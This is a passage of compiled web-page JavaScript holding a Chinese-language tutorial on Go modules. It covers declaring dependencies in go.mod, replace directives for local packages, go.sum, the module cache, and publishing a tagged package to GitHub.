get"}),"\u547d\u4ee4\u4e0b\u8f7d\u4e00\u4e2a\u65b0\u7684\u4f9d\u8d56\u5305\u65f6\u4e00\u822c\u4f1a\u989d\u5916\u6dfb\u52a0",(0,i.jsx)(e.code,{children:"-u"}),"\u53c2\u6570\uff0c\u5f3a\u5236\u66f4\u65b0\u73b0\u6709\u4f9d\u8d56\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u7b2c\u4e8c\u79cd\u65b9\u5f0f\u662f\u6211\u4eec\u76f4\u63a5\u7f16\u8f91",(0,i.jsx)(e.code,{children:"go.mod"}),"\u6587\u4ef6\uff0c\u5c06\u4f9d\u8d56\u5305\u548c\u7248\u672c\u4fe1\u606f\u5199\u5165\u8be5\u6587\u4ef6\u3002\u4f8b\u5982\u6211\u4eec\u4fee\u6539",(0,i.jsx)(e.code,{children:"holiday/go.mod"}),"\u6587\u4ef6\u5185\u5bb9\u5982\u4e0b\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"module holiday\n\ngo 1.16\n\nrequire github.com/q1mi/hello latest\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u8868\u793a\u5f53\u524d\u9879\u76ee\u9700\u8981\u4f7f\u7528",(0,i.jsx)(e.code,{children:"github.com/q1mi/hello"}),"\u5e93\u7684\u6700\u65b0\u7248\u672c\uff0c\u7136\u540e\u5728\u9879\u76ee\u76ee\u5f55\u4e0b\u6267\u884c",(0,i.jsx)(e.code,{children:"go mod download"}),"\u4e0b\u8f7d\u4f9d\u8d56\u5305\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"holiday $ go mod download\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u5982\u679c\u4e0d\u8f93\u51fa\u5176\u5b83\u63d0\u793a\u4fe1\u606f\u5c31\u8bf4\u660e\u4f9d\u8d56\u5df2\u7ecf\u4e0b\u8f7d\u6210\u529f\uff0c\u6b64\u65f6",(0,i.jsx)(e.code,{children:"go.mod"}),"\u6587\u4ef6\u5df2\u7ecf\u53d8\u6210\u5982\u4e0b\u5185\u5bb9\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"module holiday\n\ngo 1.16\n\nrequire github.com/q1mi/hello v0.1.1\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u4ece\u4e2d\u6211\u4eec\u53ef\u4ee5\u77e5\u9053\u6700\u65b0\u7684\u7248\u672c\u53f7\u662f",(0,i.jsx)(e.code,{children:"v0.1.1"}),"\u3002\u5982\u679c\u4e8b\u5148\u77e5\u9053\u4f9d\u8d56\u5305\u7684\u5177\u4f53\u7248\u672c\u53f7\uff0c\u53ef\u4ee5\u76f4\u63a5\u5728",(0,i.jsx)(e.code,{children:"go.mod"}),"\u4e2d\u6307\u5b9a\u9700\u8981\u7684\u7248\u672c\u7136\u540e\u518d\u6267\u884c",(0,i.jsx)(e.code,{children:"go mod download"}),"\u4e0b\u8f7d\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u8fd9\u79cd\u65b9\u6cd5\u540c\u6837\u652f\u6301\u6307\u5b9a\u60f3\u8981\u4e0b\u8f7d\u7684commit\u8fdb\u884c\u4e0b\u8f7d\uff0c\u4f8b\u5982\u76f4\u63a5\u5728",(0,i.jsx)(e.code,{children:"go.mod"}),"\u6587\u4ef6\u4e2d\u6309\u5982\u4e0b\u65b9\u5f0f\u6307\u5b9acommit hash\uff0c\u8fd9\u91cc\u53ea\u5199\u51fa\u6765\u4e86commit hash\u7684\u524d7\u4f4d\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"require github.com/q1mi/hello 2ccfadda\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u6267\u884c",(0,i.jsx)(e.code,{children:"go mod download"}),"\u4e0b\u8f7d\u5b8c\u4f9d\u8d56\u540e\uff0c",(0,i.jsx)(e.code,{children:"go.mod"}),"\u6587\u4ef6\u4e2d\u5bf9\u5e94\u7684\u7248\u672c\u4fe1\u606f\u4f1a\u81ea\u52a8\u66f4\u65b0\u4e3a\u7c7b\u4f3c\u4e0b\u9762\u7684\u683c\u5f0f\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"module holiday\n\ngo 1.16\n\nrequire github.com/q1mi/hello v0.1.2-0.20210219092711-2ccfaddad6a3\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u4e0b\u8f7d\u597d\u8981\u4f7f\u7528\u7684\u4f9d\u8d56\u5305\u4e4b\u540e\uff0c\u6211\u4eec\u73b0\u5728\u5c31\u53ef\u4ee5\u5728",(0,i.jsx)(e.code,{children:"holiday/main.go"}),"\u6587\u4ef6\u4e2d\u4f7f\u7528\u8fd9\u4e2a\u5305\u4e86\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'package main\n\nimport (\n\t"fmt"\n\n\t"github.com/q1mi/hello"\n)\n\nfunc main() {\n\tfmt.Println("\u73b0\u5728\u662f\u5047\u671f\u65f6\u95f4...")\n\n\thello.SayHi() // \u8c03\u7528hello\u5305\u7684SayHi\u51fd\u6570\n}\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u5c06\u4e0a\u8ff0\u4ee3\u7801\u7f16\u8bd1\u6267\u884c\uff0c\u5c31\u80fd\u770b\u5230\u6267\u884c\u7ed3\u679c\u4e86\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"holiday $ go build\nholiday $ ./holiday\n\u73b0\u5728\u662f\u5047\u671f\u65f6\u95f4...\n\u4f60\u597d\uff0c\u6211\u662f\u4e03\u7c73\u3002\u5f88\u9ad8\u5174\u8ba4\u8bc6\u4f60\u3002\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u5f53\u6211\u4eec\u7684\u9879\u76ee\u529f\u80fd\u8d8a\u505a\u8d8a\u591a\uff0c\u4ee3\u7801\u8d8a\u6765\u8d8a\u591a\u7684\u65f6\u5019\uff0c\u901a\u5e38\u4f1a\u9009\u62e9\u5728\u9879\u76ee\u5185\u90e8\u6309\u529f\u80fd\u6216\u4e1a\u52a1\u5212\u5206\u6210\u591a\u4e2a\u4e0d\u540c\u5305\u3002Go\u8bed\u8a00\u652f\u6301\u5728\u4e00\u4e2a\u9879\u76ee\uff08project\uff09\u4e0b\u5b9a\u4e49\u591a\u4e2a\u5305\uff08package\uff09\u3002"}),"\n",(0,i.jsxs)(e.p,{children:["\u4f8b\u5982\uff0c\u6211\u4eec\u5728",(0,i.jsx)(e.code,{children:"holiday"}),"\u9879\u76ee\u5185\u90e8\u521b\u5efa\u4e00\u4e2a\u65b0\u7684package\u2014\u2014",(0,i.jsx)(e.code,{children:"summer"}),"\uff0c\u6b64\u65f6\u65b0\u7684\u9879\u76ee\u76ee\u5f55\u7ed3\u6784\u5982\u4e0b\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"holidy\n\u251c\u2500\u2500 go.mod\n\u251c\u2500\u2500 go.sum\n\u251c\u2500\u2500 main.go\n\u2514\u2500\u2500 summer\n \u2514\u2500\u2500 summer.go\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u5176\u4e2d",(0,i.jsx)(e.code,{children:"holiday/summer/summer.go"}),"\u6587\u4ef6\u5185\u5bb9\u5982\u4e0b\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'package summer\n\nimport "fmt"\n\n// Diving \u6f5c\u6c34...\nfunc Diving() {\n\tfmt.Println("\u590f\u5929\u53bb\u8bd7\u5df4\u4e39\u6f5c\u6c34...")\n}\n'})}),"\n",(0,i.jsxs)(e.p,{children:["\u6b64\u65f6\u60f3\u8981\u5728\u5f53\u524d\u9879\u76ee\u76ee\u5f55\u4e0b\u7684\u5176\u4ed6\u5305\u6216\u8005",(0,i.jsx)(e.code,{children:"main.go"}),"\u4e2d\u8c03\u7528\u8fd9\u4e2a",(0,i.jsx)(e.code,{children:"Diving"}),"\u51fd\u6570\u9700\u8981\u5982\u4f55\u5f15\u5165\u5462\uff1f\u8fd9\u91cc\u4ee5\u5728",(0,i.jsx)(e.code,{children:"main.go"}),"\u4e2d\u6f14\u793a\u8be6\u7ec6\u7684\u8c03\u7528\u8fc7\u7a0b\u4e3a\u4f8b\uff0c\u5728\u9879\u76ee\u5185\u5176\u4ed6\u5305\u7684\u5f15\u5165\u65b9\u5f0f\u7c7b\u4f3c\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'package main\n\nimport (\n\t"fmt"\n\n\t"holiday/summer" // \u5bfc\u5165\u5f53\u524d\u9879\u76ee\u4e0b\u7684\u5305\n\n\t"github.com/q1mi/hello" // \u5bfc\u5165github\u4e0a\u7b2c\u4e09\u65b9\u5305\n)\n\nfunc main() {\n\tfmt.Println("\u73b0\u5728\u662f\u5047\u671f\u65f6\u95f4...")\n\thello.SayHi()\n\n\tsummer.Diving()\n}\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u4ece\u4e0a\u9762\u7684\u793a\u4f8b\u53ef\u4ee5\u770b\u51fa\uff0c\u9879\u76ee\u4e2d\u5b9a\u4e49\u7684\u5305\u90fd\u4f1a\u4ee5\u9879\u76ee\u7684\u5bfc\u5165\u8def\u5f84\u4e3a\u524d\u7f00\u3002"}),"\n",(0,i.jsxs)(e.p,{children:["\u5982\u679c\u4f60\u60f3\u8981\u5bfc\u5165\u672c\u5730\u7684\u4e00\u4e2a\u5305\uff0c\u5e76\u4e14\u8fd9\u4e2a\u5305\u4e5f\u6ca1\u6709\u53d1\u5e03\u5230\u5230\u5176\u4ed6\u4efb\u4f55\u4ee3\u7801\u4ed3\u5e93\uff0c\u8fd9\u65f6\u5019\u4f60\u53ef\u4ee5\u5728",(0,i.jsx)(e.code,{children:"go.mod"}),"\u6587\u4ef6\u4e2d\u4f7f\u7528",(0,i.jsx)(e.code,{children:"replace"}),"\u8bed\u53e5\u5c06\u4f9d\u8d56\u4e34\u65f6\u66ff\u6362\u4e3a\u672c\u5730\u7684\u4ee3\u7801\u5305\u3002\u4f8b\u5982\u5728\u6211\u7684\u7535\u8111\u4e0a\u6709\u53e6\u5916\u4e00\u4e2a\u540d\u4e3a",(0,i.jsx)(e.code,{children:"liwenzhou.com/overtime"}),"\u7684\u9879\u76ee\uff0c\u5b83\u4f4d\u4e8e",(0,i.jsx)(e.code,{children:"holiday"}),"\u9879\u76ee\u540c\u7ea7\u76ee\u5f55\u4e0b\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"\u251c\u2500\u2500 holiday\n\u2502 \u251c\u2500\u2500 go.mod\n\u2502 \u251c\u2500\u2500 go.sum\n\u2502 \u251c\u2500\u2500 main.go\n\u2502 \u2514\u2500\u2500 summer\n\u2502 \u2514\u2500\u2500 summer.go\n\u2514\u2500\u2500 overtime\n \u251c\u2500\u2500 go.mod\n \u2514\u2500\u2500 overtime.go\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u7531\u4e8e",(0,i.jsx)(e.code,{children:"liwenzhou.com/overtime"}),"\u5305\u53ea\u5b58\u5728\u4e8e\u6211\u672c\u5730\uff0c\u5e76\u4e0d\u80fd\u901a\u8fc7\u7f51\u7edc\u83b7\u53d6\u5230\u8fd9\u4e2a\u4ee3\u7801\u5305\uff0c\u8fd9\u4e2a\u65f6\u5019\u5e94\u8be5\u5982\u4f55\u5728",(0,i.jsx)(e.code,{children:"holidy"}),"\u9879\u76ee\u4e2d\u5f15\u5165\u5b83\u5462\uff1f"]}),"\n",(0,i.jsxs)(e.p,{children:["\u6211\u4eec\u53ef\u4ee5\u5728",(0,i.jsx)(e.code,{children:"holidy/go.mod"}),"\u6587\u4ef6\u4e2d\u6b63\u5e38\u5f15\u5165",(0,i.jsx)(e.code,{children:"liwenzhou.com/overtime"}),"\u5305\uff0c\u7136\u540e\u50cf\u4e0b\u9762\u7684\u793a\u4f8b\u90a3\u6837\u4f7f\u7528",(0,i.jsx)(e.code,{children:"replace"}),"\u8bed\u53e5\u5c06\u8fd9\u4e2a\u4f9d\u8d56\u66ff\u6362\u4e3a\u4f7f\u7528\u76f8\u5bf9\u8def\u5f84\u8868\u793a\u7684\u672c\u5730\u5305\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"module holiday\n\ngo 1.16\n\nrequire github.com/q1mi/hello v0.1.1\nrequire liwenzhou.com/overtime v0.0.0\n\nreplace liwenzhou.com/overtime => ../overtime\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u8fd9\u6837\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u5728",(0,i.jsx)(e.code,{children:"holiday/main.go"}),"\u4e0b\u6b63\u5e38\u5f15\u5165\u5e76\u4f7f\u7528",(0,i.jsx)(e.code,{children:"overtime"}),"\u5305\u4e86\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'package main\n\nimport (\n\t"fmt"\n\n\t"holiday/summer" // \u5bfc\u5165\u5f53\u524d\u9879\u76ee\u4e0b\u7684\u5305\n\n\t"liwenzhou.com/overtime" // \u901a\u8fc7replace\u5bfc\u5165\u7684\u672c\u5730\u5305\n\n\t"github.com/q1mi/hello" // \u5bfc\u5165github\u4e0a\u7b2c\u4e09\u65b9\u5305\n)\n\nfunc main() {\n\tfmt.Println("\u73b0\u5728\u662f\u5047\u671f\u65f6\u95f4...")\n\thello.SayHi()\n\n\tsummer.Diving()\n\n\tovertime.Do()\n}\n'})}),"\n",(0,i.jsxs)(e.p,{children:["\u6211\u4eec\u4e5f\u7ecf\u5e38\u4f7f\u7528",(0,i.jsx)(e.code,{children:"replace"}),"\u5c06\u9879\u76ee\u4f9d\u8d56\u4e2d\u7684\u67d0\u4e2a\u5305\uff0c\u66ff\u6362\u4e3a\u5176\u4ed6\u7248\u672c\u7684\u4ee3\u7801\u5305\u6216\u6211\u4eec\u81ea\u5df1\u4fee\u6539\u540e\u7684\u4ee3\u7801\u5305\u3002"]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:"go.mod\u6587\u4ef6"})}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:"go.mod"}),"\u6587\u4ef6\u4e2d\u8bb0\u5f55\u4e86\u5f53\u524d\u9879\u76ee\u4e2d\u6240\u6709\u4f9d\u8d56\u5305\u7684\u76f8\u5173\u4fe1\u606f\uff0c\u58f0\u660e\u4f9d\u8d56\u7684\u683c\u5f0f\u5982\u4e0b\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"require module/path v1.2.3\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u5176\u4e2d\uff1a"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsx)(e.li,{children:"require\uff1a\u58f0\u660e\u4f9d\u8d56\u7684\u5173\u952e\u5b57"}),"\n",(0,i.jsx)(e.li,{children:"module/path\uff1a\u4f9d\u8d56\u5305\u7684\u5f15\u5165\u8def\u5f84"}),"\n",(0,i.jsxs)(e.li,{children:["v1.2.3\uff1a\u4f9d\u8d56\u5305\u7684\u7248\u672c\u53f7\u3002\u652f\u6301\u4ee5\u4e0b\u51e0\u79cd\u683c\u5f0f\uff1a\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsx)(e.li,{children:"latest\uff1a\u6700\u65b0\u7248\u672c"}),"\n",(0,i.jsx)(e.li,{children:"v1.0.0\uff1a\u8be6\u7ec6\u7248\u672c\u53f7"}),"\n",(0,i.jsx)(e.li,{children:"commit hash\uff1a\u6307\u5b9a\u67d0\u6b21commit hash"}),"\n"]}),"\n"]}),"\n"]}),"\n",(0,i.jsxs)(e.p,{children:["\u5f15\u5165\u67d0\u4e9b\u6ca1\u6709\u53d1\u5e03\u8fc7",(0,i.jsx)(e.code,{children:"tag"}),"\u7248\u672c\u6807\u8bc6\u7684\u4f9d\u8d56\u5305\u65f6\uff0c",(0,i.jsx)(e.code,{children:"go.mod"}),"\u4e2d\u8bb0\u5f55\u7684\u4f9d\u8d56\u7248\u672c\u4fe1\u606f\u5c31\u4f1a\u51fa\u73b0\u7c7b\u4f3c",(0,i.jsx)(e.code,{children:"v0.0.0-20210218074646-139b0bcd549d"}),"\u7684\u683c\u5f0f\uff0c\u7531\u7248\u672c\u53f7\u3001commit\u65f6\u95f4\u548ccommit\u7684hash\u503c\u7ec4\u6210\u3002"]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{alt:"go module\u751f\u6210\u7684\u7248\u672c\u4fe1\u606f\u7ec4\u6210\u793a\u610f\u56fe",src:l(25670).A+"",width:"626",height:"231"})}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:"go.sum\u6587\u4ef6"})}),"\n",(0,i.jsxs)(e.p,{children:["\u4f7f\u7528go module\u4e0b\u8f7d\u4e86\u4f9d\u8d56\u540e\uff0c\u9879\u76ee\u76ee\u5f55\u4e0b\u8fd8\u4f1a\u751f\u6210\u4e00\u4e2a",(0,i.jsx)(e.code,{children:"go.sum"}),"\u6587\u4ef6\uff0c\u8fd9\u4e2a\u6587\u4ef6\u4e2d\u8be6\u7ec6\u8bb0\u5f55\u4e86\u5f53\u524d\u9879\u76ee\u4e2d\u5f15\u5165\u7684\u4f9d\u8d56\u5305\u7684\u4fe1\u606f\u53ca\u5176hash \u503c\u3002",(0,i.jsx)(e.code,{children:"go.sum"}),"\u6587\u4ef6\u5185\u5bb9\u901a\u5e38\u662f\u4ee5\u7c7b\u4f3c\u4e0b\u9762\u7684\u683c\u5f0f\u51fa\u73b0\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:" /go.mod \n"})}),"\n",(0,i.jsx)(e.p,{children:"\u6216\u8005"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:" \n /go.mod \n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u4e0d\u540c\u4e8e\u5176\u4ed6\u8bed\u8a00\u63d0\u4f9b\u7684\u57fa\u4e8e\u4e2d\u5fc3\u7684\u5305\u7ba1\u7406\u673a\u5236\uff0c\u4f8b\u5982 npm \u548c pypi\u7b49\uff0cGo\u5e76\u6ca1\u6709\u63d0\u4f9b\u4e00\u4e2a\u4e2d\u592e\u4ed3\u5e93\u6765\u7ba1\u7406\u6240\u6709\u4f9d\u8d56\u5305\uff0c\u800c\u662f\u91c7\u7528\u5206\u5e03\u5f0f\u7684\u65b9\u5f0f\u6765\u7ba1\u7406\u5305\u3002\u4e3a\u4e86\u9632\u6b62\u4f9d\u8d56\u5305\u88ab\u975e\u6cd5\u7be1\u6539\uff0cGo module \u5f15\u5165\u4e86",(0,i.jsx)(e.code,{children:"go.sum"}),"\u673a\u5236\u6765\u5bf9\u4f9d\u8d56\u5305\u8fdb\u884c\u6821\u9a8c\u3002"]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:"\u4f9d\u8d56\u4fdd\u5b58\u4f4d\u7f6e"})}),"\n",(0,i.jsxs)(e.p,{children:["Go module \u4f1a\u628a\u4e0b\u8f7d\u5230\u672c\u5730\u7684\u4f9d\u8d56\u5305\u4f1a\u4ee5\u7c7b\u4f3c\u4e0b\u9762\u7684\u5f62\u5f0f\u4fdd\u5b58\u5728 ",(0,i.jsx)(e.code,{children:"$GOPATH/pkg/mod"}),"\u76ee\u5f55\u4e0b\uff0c\u6bcf\u4e2a\u4f9d\u8d56\u5305\u90fd\u4f1a\u5e26\u6709\u7248\u672c\u53f7\u8fdb\u884c\u533a\u5206\uff0c\u8fd9\u6837\u5c31\u5141\u8bb8\u5728\u672c\u5730\u5b58\u5728\u540c\u4e00\u4e2a\u5305\u7684\u591a\u4e2a\u4e0d\u540c\u7248\u672c\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"mod\n\u251c\u2500\u2500 cache\n\u251c\u2500\u2500 cloud.google.com\n\u251c\u2500\u2500 github.com\n \t\u2514\u2500\u2500q1mi\n \u251c\u2500\u2500 hello@v0.0.0-20210218074646-139b0bcd549d\n \u251c\u2500\u2500 hello@v0.1.1\n \u2514\u2500\u2500 hello@v0.1.0\n...\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u5982\u679c\u60f3\u6e05\u9664\u6240\u6709\u672c\u5730\u5df2\u7f13\u5b58\u7684\u4f9d\u8d56\u5305\u6570\u636e\uff0c\u53ef\u4ee5\u6267\u884c ",(0,i.jsx)(e.code,{children:"go clean -modcache"})," \u547d\u4ee4\u3002"]}),"\n",(0,i.jsx)(e.h3,{id:"\u4f7f\u7528go-module\u53d1\u5e03\u5305",children:"\u4f7f\u7528go module\u53d1\u5e03\u5305"}),"\n",(0,i.jsxs)(e.p,{children:["\u5728\u4e0a\u9762\u7684\u5c0f\u8282\u4e2d\u6211\u4eec\u5b66\u4e60\u4e86\u5982\u4f55\u5728\u9879\u76ee\u4e2d\u5f15\u5165\u522b\u4eba\u63d0\u4f9b\u7684\u4f9d\u8d56\u5305\uff0c\u90a3\u4e48\u5f53\u6211\u4eec\u60f3\u8981\u5728\u793e\u533a\u53d1\u5e03\u4e00\u4e2a\u81ea\u5df1\u7f16\u5199\u7684\u4ee3\u7801\u5305\u6216\u8005\u5728\u516c\u53f8\u5185\u90e8\u7f16\u5199\u4e00\u4e2a\u4f9b\u5185\u90e8\u4f7f\u7528\u7684\u516c\u7528\u7ec4\u4ef6\u65f6\uff0c\u6211\u4eec\u8be5\u600e\u4e48\u505a\u5462\uff1f\u63a5\u4e0b\u6765\uff0c\u6211\u4eec\u5c31\u4e00\u8d77\u7f16\u5199\u4e00\u4e2a\u4ee3\u7801\u5305\u5e76\u5c06\u5b83\u53d1\u5e03\u5230",(0,i.jsx)(e.code,{children:"github.com"}),"\u4ed3\u5e93\uff0c\u8ba9\u5b83\u80fd\u591f\u88ab\u5168\u7403\u7684Go\u8bed\u8a00\u5f00\u53d1\u8005\u4f7f\u7528\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u6211\u4eec\u9996\u5148\u5728\u81ea\u5df1\u7684 github \u8d26\u53f7\u4e0b\u65b0\u5efa\u4e00\u4e2a\u9879\u76ee\uff0c\u5e76\u628a\u5b83\u4e0b\u8f7d\u5230\u672c\u5730\u3002\u6211\u8fd9\u91cc\u5c31\u4ee5\u521b\u5efa\u548c\u53d1\u5e03\u4e00\u4e2a\u540d\u4e3a",(0,i.jsx)(e.code,{children:"hello"}),"\u7684\u9879\u76ee\u4e3a\u4f8b\u8fdb\u884c\u6f14\u793a\u3002\u8fd9\u4e2a",(0,i.jsx)(e.code,{children:"hello"}),"\u5305\u5c06\u5bf9\u5916\u63d0\u4f9b\u4e00\u4e2a\u540d\u4e3a",(0,i.jsx)(e.code,{children:"SayHi"}),"\u7684\u51fd\u6570\uff0c\u5b83\u7684\u4f5c\u7528\u975e\u5e38\u7b80\u5355\u5c31\u662f\u5411\u8c03\u7528\u8005\u53d1\u53bb\u95ee\u5019\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"$ git clone https://github.com/q1mi/hello\n$ cd hello\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u6211\u4eec\u5f53\u524d\u4f4d\u4e8e",(0,i.jsx)(e.code,{children:"hello"}),"\u9879\u76ee\u76ee\u5f55\u4e0b\uff0c\u6267\u884c\u4e0b\u9762\u7684\u547d\u4ee4\u521d\u59cb\u5316\u9879\u76ee\uff0c\u521b\u5efa",(0,i.jsx)(e.code,{children:"go.mod"}),"\u6587\u4ef6\u3002\u9700\u8981\u6ce8\u610f\u7684\u662f\u8fd9\u91cc\u5b9a\u4e49\u9879\u76ee\u7684\u5f15\u5165\u8def\u5f84\u4e3a",(0,i.jsx)(e.code,{children:"github.com/q1mi/hello"}),"\uff0c\u8bfb\u8005\u5728\u81ea\u884c\u6d4b\u8bd5\u65f6\u9700\u8981\u5c06\u8fd9\u90e8\u5206\u66ff\u6362\u4e3a\u81ea\u5df1\u7684\u4ed3\u5e93\u8def\u5f84\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"hello $ go mod init github.com/q1mi/hello\ngo: creating new go.mod: module github.com/q1mi/hello\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u63a5\u4e0b\u6765\u6211\u4eec\u5728\u8be5\u9879\u76ee\u6839\u76ee\u5f55\u4e0b\u521b\u5efa ",(0,i.jsx)(e.code,{children:"hello.go"})," \u6587\u4ef6\uff0c\u6dfb\u52a0\u4e0b\u9762\u7684\u5185\u5bb9\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'package hello\n\nimport "fmt"\n\nfunc SayHi() {\n\tfmt.Println("\u4f60\u597d\uff0c\u6211\u662f\u4e03\u7c73\u3002\u5f88\u9ad8\u5174\u8ba4\u8bc6\u4f60\u3002")\n}\n'})}),"\n",(0,i.jsxs)(e.p,{children:["\u7136\u540e\u5c06\u8be5\u9879\u76ee\u7684\u4ee3\u7801 push \u5230\u4ed3\u5e93\u7684\u8fdc\u7aef\u5206\u652f\uff0c\u8fd9\u6837\u5c31\u5bf9\u5916\u53d1\u5e03\u4e86\u4e00\u4e2aGo\u5305\u3002\u5176\u4ed6\u7684\u5f00\u53d1\u8005\u53ef\u4ee5\u901a\u8fc7",(0,i.jsx)(e.code,{children:"github.com/q1mi/hello"}),"\u8fd9\u4e2a\u5f15\u5165\u8def\u5f84\u4e0b\u8f7d\u5e76\u4f7f\u7528\u8fd9\u4e2a\u5305\u4e86\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"\u4e00\u4e2a\u8bbe\u8ba1\u5b8c\u5584\u7684\u5305\u5e94\u8be5\u5305\u542b\u5f00\u6e90\u8bb8\u53ef\u8bc1\u53ca\u6587\u6863\u7b49\u5185\u5bb9\uff0c\u5e76\u4e14\u6211\u4eec\u8fd8\u5e94\u8be5\u5c3d\u5fc3\u7ef4\u62a4\u5e76\u9002\u65f6\u53d1\u5e03\u9002\u5f53\u7684\u7248\u672c\u3002github \u4e0a\u53d1\u5e03\u7248\u672c\u53f7\u4f7f\u7528git tag\u4e3a\u4ee3\u7801\u5305\u6253\u4e0a\u6807\u7b7e\u5373\u53ef\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:'hello $ git tag -a v0.1.0 -m "release version v0.1.0"\nhello $ git push origin v0.1.0\n'})}),"\n",(0,i.jsxs)(e.p,{children:["\u7ecf\u8fc7\u4e0a\u9762\u7684\u64cd\u4f5c\u6211\u4eec\u5c31\u53d1\u5e03\u4e86\u4e00\u4e2a\u7248\u672c\u53f7\u4e3a",(0,i.jsx)(e.code,{children:"v0.1.0"}),"\u7684\u7248\u672c\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"Go modules\u4e2d\u5efa\u8bae\u4f7f\u7528\u8bed\u4e49\u5316\u7248\u672c\u63a7\u5236\uff0c\u5176\u5efa\u8bae\u7684\u7248\u672c\u53f7\u683c\u5f0f\u5982\u4e0b\uff1a"}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:"https://www.liwenzhou.com/images/Go/package/version_number.png",alt:"\u8bed\u4e49\u5316\u7248\u672c\u53f7\u793a\u610f\u56fe"})}),"\n",(0,i.jsx)(e.p,{children:"\u5176\u4e2d\uff1a"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsx)(e.li,{children:"\u4e3b\u7248\u672c\u53f7\uff1a\u53d1\u5e03\u4e86\u4e0d\u517c\u5bb9\u7684\u7248\u672c\u8fed\u4ee3\u65f6\u9012\u589e\uff08breaking changes\uff09\u3002"}),"\n",(0,i.jsx)(e.li,{children:"\u6b21\u7248\u672c\u53f7\uff1a\u53d1\u5e03\u4e86\u529f\u80fd\u6027\u66f4\u65b0\u65f6\u9012\u589e\u3002"}),"\n",(0,i.jsx)(e.li,{children:"\u4fee\u8ba2\u53f7\uff1a\u53d1\u5e03\u4e86bug\u4fee\u590d\u7c7b\u66f4\u65b0\u65f6\u9012\u589e\u3002"}),"\n"]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:"\u53d1\u5e03\u65b0\u7684\u4e3b\u7248\u672c"})}),"\n",(0,i.jsxs)(e.p,{children:["\u73b0\u5728\u6211\u4eec\u7684",(0,i.jsx)(e.code,{children:"hello"}),"\u9879\u76ee\u8981\u8fdb\u884c\u4e0e\u4e4b\u524d\u7248\u672c\u4e0d\u517c\u5bb9\u7684\u66f4\u65b0\uff0c\u6211\u4eec\u8ba1\u5212\u8ba9",(0,i.jsx)(e.code,{children:"SayHi"}),"\u51fd\u6570\u652f\u6301\u5411\u6307\u5b9a\u4eba\u53d1\u51fa\u95ee\u5019\u3002\u66f4\u65b0\u540e\u7684",(0,i.jsx)(e.code,{children:"SayHi"}),"\u51fd\u6570\u5185\u5bb9\u5982\u4e0b\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'package hello\n\nimport "fmt"\n\n// SayHi 